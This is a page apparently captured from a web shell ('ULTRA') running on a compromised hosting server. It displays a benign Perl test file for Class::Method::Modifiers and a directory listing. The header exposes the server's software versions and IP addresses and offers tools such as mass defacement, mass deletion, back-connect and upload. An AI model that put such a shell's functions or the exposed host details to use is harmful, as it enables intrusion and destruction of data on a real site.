ULTRA [ vsambulanceservice.com ]

Linux vps122157.inmotionhosting.com 4.18.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64

Apache/2.4.62 (Unix) OpenSSL/1.1.1k

199.250.210.201 | Your IP: 216.73.216.228

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ usr / share / doc / perl-Class-Method-Modifiers / t /

Home Upload Mass Deface Mass Delete Back Connect Notify

002-cache.t

use strict;
use warnings;
use Test::More 0.88;
use if $ENV{AUTHOR_TESTING}, 'Test::Warnings';

my $orig;
my $code = sub { die };

do {
    package Class;
    use Class::Method::Modifiers;

sub method {}
    $orig = Class->can('method');

before method => $code;
};

is_deeply(\%Class::Method::Modifiers::MODIFIER_CACHE, {
    Class => {
        method => {
            before  => [$code],
            after   => [],
            around  => [],
            orig    => $orig,
            wrapped => $orig,
        },
    },
});

my $code2 = sub { 1 + 1 };

do {
    package Child;
    BEGIN { our @ISA = 'Class' }
    use Class::Method::Modifiers;

after method => $code2;
};

my $fake = $Class::Method::Modifiers::MODIFIER_CACHE{Child}{method}{wrapped};

is_deeply(\%Class::Method::Modifiers::MODIFIER_CACHE, {
    Class => {
        method => {
            before  => [$code],
            after   => [],
            around  => [],
            orig    => $orig,
            wrapped => $orig,
        },
    },
    Child => {
        method => {
            before  => [],
            after   => [$code2],
            around  => [],
            orig    => undef,
            wrapped => $fake,
        },
    },
});

my $around1 = sub { "around1" };
my $around2 = sub { "around2" };

do {
    package Class;
    use Class::Method::Modifiers;

around method => $around1;
    around method => $around2;
};

# XXX: hard to test, we have no other way of getting at this coderef
my $wrapped  = $Class::Method::Modifiers::MODIFIER_CACHE{Class}{method}{wrapped};

is_deeply(\%Class::Method::Modifiers::MODIFIER_CACHE, {
    Class => {
        method => {
            around  => [$around2, $around1],
            before  => [$code],
            after   => [],
            orig    => $orig,
            wrapped => $wrapped,
        },
    },
    Child => {
        method => {
            before  => [],
            after   => [$code2],
            around  => [],
            orig    => undef,
            wrapped => $fake,
        },
    },
});

done_testing;

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	drwxr-xr-x	2025-03-06 10:49:51
..	dir	-	root/root	drwxr-xr-x	2025-03-06 10:49:51
00-report-prereqs.dd	text/plain	8.98 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
00-report-prereqs.t	text/plain	5.57 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
000-load.t	text/plain	310 B	root/root	-rw-r--r--	2016-03-04 10:12:20
001-error.t	text/plain	1010 B	root/root	-rw-r--r--	2016-03-04 10:12:20
002-cache.t	text/plain	2.02 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
003-basic.t	text/plain	2.06 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
004-around.t	text/plain	1.31 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
005-return.t	text/plain	457 B	root/root	-rw-r--r--	2016-03-04 10:12:20
010-before-args.t	text/plain	687 B	root/root	-rw-r--r--	2016-03-04 10:12:20
011-after-args.t	text/plain	769 B	root/root	-rw-r--r--	2016-03-04 10:12:20
012-around-args.t	text/plain	731 B	root/root	-rw-r--r--	2016-03-04 10:12:20
020-multiple-inheritance.t	text/plain	3.54 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
030-multiple-before.t	text/plain	629 B	root/root	-rw-r--r--	2016-03-04 10:12:20
031-multiple-after.t	text/plain	622 B	root/root	-rw-r--r--	2016-03-04 10:12:20
032-multiple-around.t	text/plain	859 B	root/root	-rw-r--r--	2016-03-04 10:12:20
034-multiple-everything.t	text/plain	1.33 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
035-multiple-everything-twice.t	text/plain	2.33 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
040-twice-orig.t	text/plain	487 B	root/root	-rw-r--r--	2016-03-04 10:12:20
041-modify-parent.t	text/plain	978 B	root/root	-rw-r--r--	2016-03-04 10:12:20
051-undef-list-ctxt.t	text/plain	912 B	root/root	-rw-r--r--	2016-03-04 10:12:20
060-caller.t	text/plain	1.15 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
070-modify-multiple-at-once.t	text/plain	967 B	root/root	-rw-r--r--	2016-03-04 10:12:20
080-multiple-modifiers.t	text/plain	1.56 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
081-sub-and-modifier.t	text/plain	3.07 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
090-diamond.t	text/plain	683 B	root/root	-rw-r--r--	2016-03-04 10:12:20
100-class-mop-method-modifiers.t	text/plain	1.95 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
110-namespace-clean.t	text/plain	1.61 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
120-fresh.t	text/plain	2.43 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
130-clean-underscore.t	text/plain	1.74 KB	root/root	-rw-r--r--	2016-03-04 10:12:20
140-lvalue.t	text/plain	1.59 KB	root/root	-rw-r--r--	2016-03-04 10:12:20